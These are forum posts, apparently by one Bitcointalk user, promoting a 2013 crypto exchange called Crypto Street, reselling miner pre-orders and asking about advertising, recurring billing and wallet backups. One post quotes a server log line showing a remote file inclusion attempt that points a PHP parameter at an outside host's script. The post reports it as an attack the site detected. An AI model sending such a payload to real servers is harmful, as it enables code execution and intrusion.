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I'm selling 4 pre-orders of the Alpha Technology Viper SCRYPT miner, purchased Jan 5th 2014, the day after the presale started.  My units are being delivered with the 1st batch.  1st batch shipments are completely sold out. 

See the miners here: https://alpha-t.net/product/viper-scrypt-miner-90mhs/

I paid 1/3 down on each unit and will resell my presale units to you for $2900 each.  I don't want to sell but I need to in order to buy a car.

At today's Litecoin difficulty rating, that'll mine you 89 LTC/week and 381 LTC/month.
http://www.coinwarz.com/calculators/litecoin-mining-calculator/?h=90000.00&p=1000.00&pc=0.10&pf=0.00&d=7126.18490674&r=50.00000000&er=0.02409111&btcer=444.44000000&hc=0.00

When Alpha Technologies ships, you'll pay the remaining 2/3 to Alpha-T to receive your unit.

Feel free to call me at 732-820-0058 to discuss.

What bitcoin-related websites offer direct buy banner advertising?  Newsletter advertising? 
I've heard there are a few bitcoin ad networks?  Are they good?
Bitcoin affiliate network?

I'm putting together a marketing plan for a bitcoin startup and need to know where best to target ads to bitcoin users.  Thanks.

[SOLUTION?]

I come from a world of direct-to-consumer monthly subscription services and realize that a huge hurdle for widespread adoption of digital currency payments, especially online, is the lack of automated re-billing.  Here's an idea:


SOLUTION?
What do you guys think about a wallet software (either online or PC-based) that merchants could directly interface with to schedule timed payments be released to the merchant.  The walletholder must agree to the payments and as long as enough BTC exists in the wallet, the wallet will push the scheduled payment to the merchant's address.  PayPal does something similar.  What I like about this idea is that, unlike simple credit card subscriptions where you'll only know you're being charged if you look at your monthly bill, and if you want to unsubscribe you must contact the merchant and/or go through a whole cancellation process, you can see and cancel from any subscription.

Services like Netflix's original DVD-by-mail model require easy access to a customer's credit card because the nonprofitable folks who rented DVDs everyday were offset by the folks who underutilized the service with only a rental or two per month.  And some members haven't rented in quite a few months while still being billed monthly!  Like it or not, it's a revenue model that businesses have come to rely on.


WHAT'S WRONG WITH THIS?
Someone mentioned WalletBit offers this service (see https://bitcointalk.org/index.php?topic=179227.msg1869819#msg1869819), but I don't see any mention of this at WalletBit's website.

A problem I see is that a person could either run out of BTC or purposely pull their BTC to prevent services from being able to receive next month's funds.  Sure, you could say anyone could max out a credit card today or claim a card as lost which would prevent a biller from receiving the next payment, but it's a lot more work for a deadbeat to close or max out a card than just pulling funds from this wallet and going dark.

This hurts merchants in scenarios where the customer is holding rented inventory that the merchant will never be able to recoup, whereas they could simply have charged the customer's credit card for an unreturned item.


Any ideas on solving this?  I'd love to hear your thoughts that can protect the merchant while still being fair for the customer.

Help shape bitcoin exchange Crypto Street's mission:

Mission: To enable the trusted, instant transfer of any value. To anyone. From anywhere. Just because.

 
Please read about what this means and join the Reddit discussion http://www.reddit.com/r/Bitcoin/comments/1f1fsm/mission_to_enable_the_trusted_instant_transfer_of/

[This is a good time to announce we're looking to recruit additional web/server security help. PM me.]

It's incredible.  Just one week after launching we are discovering attack attempts at Crypto Street!  Perhaps it's from today's press mention from Silicon Angle?  I can't believe it's happening so quickly, even before opening up to any real trading.

We discovered thousands of attempts on https://www.crypto.st like this:

Code:

10.224.157.91 - - [09/May/2013:04:18:42 +0000] "GET /phpshop/index.php?base_dir=http://www.uniscan.com.br/c.txt? HTTP/1.1" 502 172 "-" "-" "176.31.99.77, 141.101.99.115"

It's good our security manager uncovered and solved this early so that when we do open up trading, we'll be ready.  This is a good time to announce we're looking to recruit additional web/server security help. PM me.

We're looking to build out our team for Crypto Street.

There's been some buzz aboutCrypto Street -- a NO FEE trading platform with powerful FOREX day-trading tools for LTC, BTC, PPC, NMC -- scheduled for launch mid-May.  This will be the first of its kind in the crypto-currency world.  We're already beta testing this fantastic service and are currently taking early free registrations.

Our team consists of a few seasoned programmers, a few marketers, some network/web security admins, and a CEO who also programs.  As a team, we've launched various successful online companies in the past.  We're all located in New Jersey but will consider very talented, driven folks anywhere in the world.

We could use some assistance in:
- finance PR / media relations
- regulatory compliance
- legal/attorney
- web copy writing
- customer support (this is going to be a biggie)
- marketing
- finance analysts or finance journalists
- designers
- and always... more developers

What type of money is there to be made?  Buku bucks.

PM me or email geo@crypto.st with your expertise, resume, location, and time availability for a project like this.

[We notice something pretty remarkable -- the Bids are higher than the Asks.]

Original blog post at: https://www.crypto.st/blog/2013/04/jumpstarting-the-old-ticker

Introducing one of the first cross-exchange bitcoin and litecoin price tickers, and you can guess what that means... hint... it rhymes with marbitrage.




Crypto Street is hard at work doing our development and beta testing.  We just got our cross-exchange price ticker working for Bitcoin-to-Dollars and Litecoin-to-Dollars, which aggregates the order books from various exchanges including BTC-e, MtGox, Vircurex, and Bitstamp. We notice something pretty remarkable -- the Bids are higher than the Asks.  No, this is not a programming error.  It's a true representation of the fragmentation in the market at different exchanges.  

Enter Crypto Street:  As a meta-exchange, we'll provide liquidity by leveraging the volume across other well-established exchanges.  And since it's difficult to shuffle dollars (or other fiat money) from one exchange to the next, pricing gaps occur between the exchanges.

We've all bought bitcoins at BTC-e and sold for $5-10 higher at MtGox, but have been hung up on how to do it over and over again since it's not easy to instantly fund BTC-e with dollars.  When Crypto Street launches, we'll hold massive funds within each exchange, eliminating the need to figure out this funneling.  Just place orders through Crypto Street and we'll handle finding where to get you the best price.

So what rhymes with marbitrage?  Car garage?  Smart massage?  Nahhhh... I think you get it.

Are you a journalist by trade?  Have a good following and strong voice in the Bitcoin community?  Or just have a good communication style and can speak intelligently on bitcoin/alt-coin trends?  Crypto Street meta-exchange trading platform wants you.

Crypto Street is a NO FEE EXCHANGE for bitcoins and popular altcoins with powerful forex day-trading tools that provides liquidity across other exchanges. 

We're looking to round up a few good writers to run our blog (launching soon).  email me geo@crypto.st if interested.

I'm looking to update one of the pages at the Bitcoin.it wiki, but realized I can't edit it without a "trusted" account.  How do I get this?

One commenter here brings up a good point -- https://bitcointalk.org/index.php?topic=174498.0.  In a model where an exchange operates in a decentralized manner, how does someone make a cash deposit?

What suggestions do you have for where to host an online backup of my Bitcoin-QT and Litecoin-QT wallets?